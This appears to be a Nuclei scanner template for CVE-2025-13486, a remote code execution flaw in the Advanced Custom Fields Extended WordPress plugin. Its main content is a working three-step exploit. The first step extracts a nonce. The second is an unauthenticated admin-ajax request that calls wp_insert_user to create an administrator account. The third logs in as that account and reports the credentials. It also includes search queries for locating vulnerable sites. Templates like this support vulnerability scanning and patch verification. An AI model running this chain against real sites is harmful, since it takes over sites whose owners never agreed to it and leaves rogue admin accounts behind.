Advanced Custom Fields Extended < 0.9.2 - Remote Code Execution

id: CVE-2025-13486

info:
  name: Advanced Custom Fields Extended < 0.9.2 - Remote Code Execution
  author: 0xanis
  severity: critical
  description: |
    Advanced Custom Fields: Extended WordPress plugin 0.9.0.5 through 0.9.1.1 contains a remote code execution caused by unsafe use of call_user_func_array() in prepare_form() function, letting unauthenticated attackers execute arbitrary code remotely.
  impact: |
    Unauthenticated attackers can execute arbitrary code remotely, potentially leading to backdoor installation or creation of admin accounts.
  remediation: |
    Update to the latest version beyond 0.9.1.1.
  reference:
    - https://www.wordfence.com/blog/2025/12/100000-wordpress-sites-affected-by-remote-code-execution-vulnerability-in-advanced-custom-fields-extended-wordpress-plugin/
    - https://nvd.nist.gov/vuln/detail/CVE-2025-13486
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-94
  metadata:
    verified: true
    max-request: 3
    shodan-query: http.component:"WordPress"
    fofa-query: body="wp-content/plugins/acf-extended"
  tags: cve,cve2025,wordpress,wp-plugin,acfe,rce,vkev,vuln

variables:
  username: "admin_{{rand_text_alpha(4)}}"
  password: "admin_{{rand_text_alpha(4)}}"
  email: "{{username}}@{{rand_base(5)}}.com"

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        part: body
        group: 1
        regex:
          - 'acf\.data.*?"nonce":"([a-f0-9]+)"'
        internal: true
        name: nonce

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=acfe/form/render_form_ajax&nonce={{nonce}}&form[render]=wp_insert_user&form[user_login]={{username}}&form[user_pass]={{password}}&form[user_email]={{email}}&form[role]=administrator

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
        internal: true

  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(header, 'wordpress_logged_in')
        condition: and

    extractors:
      - type: dsl
        dsl:
          - '"Username: " + username + " | Password: " + password'